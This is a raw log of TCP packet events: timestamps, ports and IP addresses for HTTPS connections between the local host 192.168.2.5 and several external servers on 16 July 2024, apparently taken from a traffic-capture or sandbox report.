Jul 16, 2024 13:07:23.855624914 CEST	50012	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.855626106 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.857543945 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.861627102 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.865608931 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.865633965 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.865983009 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.867522001 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.867584944 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.868012905 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.900494099 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.904433966 CEST	50012	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.908499956 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.920255899 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.974286079 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.974312067 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.974318027 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.974354982 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.974390984 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.974395990 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.974419117 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.974428892 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.974436998 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.974443913 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.974520922 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.983277082 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.983382940 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.983649969 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.983710051 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.983752012 CEST	50012	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.983752012 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.983815908 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.983850956 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.985030890 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.985119104 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.986372948 CEST	50012	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.986402035 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.993213892 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.993227005 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:24.029201984 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.029237032 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.030211926 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.030641079 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.030653000 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.060596943 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.060684919 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.060723066 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.060739040 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.060749054 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.060834885 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.064728975 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.064783096 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.064821959 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.064831972 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.064857006 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.065237999 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.150660992 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.150696993 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.150748014 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.150770903 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.150791883 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.150844097 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.151027918 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.151072979 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.151106119 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.151113033 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.151129961 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.151165009 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.151173115 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.151582956 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:24.151599884 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:24.181956053 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.182013035 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.182255030 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.183173895 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.183192015 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.201644897 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.201683044 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.202478886 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.202856064 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.202869892 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.203392982 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.203428030 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.203692913 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.204596043 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.204611063 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.709470987 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.709769011 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.709779024 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.711225986 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.711283922 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.711816072 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.711891890 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.712368011 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.712373972 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.740109921 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.740508080 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.740523100 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.744333982 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.744425058 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.744431973 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.744527102 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.745667934 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.745830059 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.745839119 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.762671947 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.763046980 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.763307095 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.763329983 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.764852047 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.764919043 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.764928102 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.765391111 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.765506029 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.765587091 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.765645027 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.765677929 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.765682936 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.781426907 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.781658888 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.781672955 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.782773018 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.782844067 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.782851934 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.782949924 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.783232927 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.783302069 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.783374071 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.788511992 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.793876886 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.793884993 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.809540987 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.824503899 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.825233936 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.825241089 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.827140093 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.827229977 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.827294111 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.829016924 CEST	50022	443	192.168.2.5	13.107.246.44
Jul 16, 2024 13:07:24.829035997 CEST	443	50022	13.107.246.44	192.168.2.5
Jul 16, 2024 13:07:24.840779066 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.872036934 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.924606085 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.926243067 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.926317930 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.927213907 CEST	50023	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.927228928 CEST	443	50023	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.944809914 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.944839001 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.944920063 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.944953918 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.945503950 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.945560932 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.946387053 CEST	50024	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.946402073 CEST	443	50024	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.949620962 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.949636936 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.949714899 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:24.949728966 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.949780941 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.961177111 CEST	50025	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:24.961193085 CEST	443	50025	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:25.011425018 CEST	50029	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.011460066 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.011615038 CEST	50029	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.012012005 CEST	50029	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.012029886 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.017201900 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.017224073 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.017466068 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.017735958 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.017755032 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.619430065 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.619884968 CEST	50029	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.619910002 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.620234013 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.621186972 CEST	50029	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.621242046 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.621598959 CEST	50029	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.632636070 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.632890940 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.632903099 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.634356976 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.634421110 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.634430885 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.634486914 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.635046959 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.635127068 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.635421038 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.635431051 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.668502092 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.685137987 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.792140007 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.792160988 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.792221069 CEST	50029	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.792234898 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.792468071 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.792515039 CEST	50029	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.793517113 CEST	50029	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.793528080 CEST	443	50029	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.808868885 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.811005116 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:25.811055899 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.812896967 CEST	50030	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:25.812912941 CEST	443	50030	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:32.056735992 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.056821108 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.056890965 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.057138920 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.057179928 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.082144022 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.082164049 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.082214117 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.082685947 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.082696915 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.116087914 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.116117001 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.116246939 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.120196104 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.120208979 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.650887012 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.651284933 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.651314974 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.652466059 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.652839899 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.653019905 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.653057098 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.653095961 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.653132915 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.727780104 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.728135109 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.728154898 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.729275942 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.729350090 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.730536938 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.730595112 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.730782032 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.730787992 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.762397051 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.777797937 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.782290936 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.782305956 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.784296036 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.784353971 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.784965038 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.785046101 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.828319073 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.828404903 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.828428984 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.828495026 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.828507900 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.828620911 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.828767061 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.829535007 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.829559088 CEST	443	50051	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:32.829586029 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.829612017 CEST	50051	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:32.832165956 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:32.832179070 CEST	443	50053	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:32.884119034 CEST	50053	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:33.352176905 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:33.352294922 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:33.352351904 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:33.352360964 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:33.352516890 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:33.353590012 CEST	50052	443	192.168.2.5	209.124.66.28
Jul 16, 2024 13:07:33.353610039 CEST	443	50052	209.124.66.28	192.168.2.5
Jul 16, 2024 13:07:33.620502949 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:33.620589972 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:33.620672941 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:33.621042967 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:33.621083021 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.113193035 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.113655090 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.113670111 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.114720106 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.114784002 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.116810083 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.116893053 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.117074013 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.117080927 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.161324978 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.236273050 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.236294031 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.236452103 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.237498999 CEST	50061	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.237510920 CEST	443	50061	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.239952087 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.239999056 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.240077019 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.241556883 CEST	50063	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:34.241588116 CEST	443	50063	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:34.250312090 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.250353098 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.250386953 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.250418901 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.250441074 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.250459909 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.250483990 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.251202106 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.251238108 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.251267910 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.251286030 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.251306057 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.251329899 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.252039909 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.252073050 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.252093077 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.252105951 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.252160072 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.252806902 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.302685022 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.338651896 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.338713884 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.338762045 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.338768959 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.338808060 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.338852882 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.338864088 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.339270115 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.339294910 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.339314938 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.339327097 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.339392900 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.339421988 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.339451075 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.339500904 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.340255976 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.340445042 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.340544939 CEST	50058	443	192.168.2.5	104.17.24.14
Jul 16, 2024 13:07:34.340555906 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.340583086 CEST	443	50058	104.17.24.14	192.168.2.5
Jul 16, 2024 13:07:34.340671062 CEST	50058	443	192.168.2.5	104.17.24.14
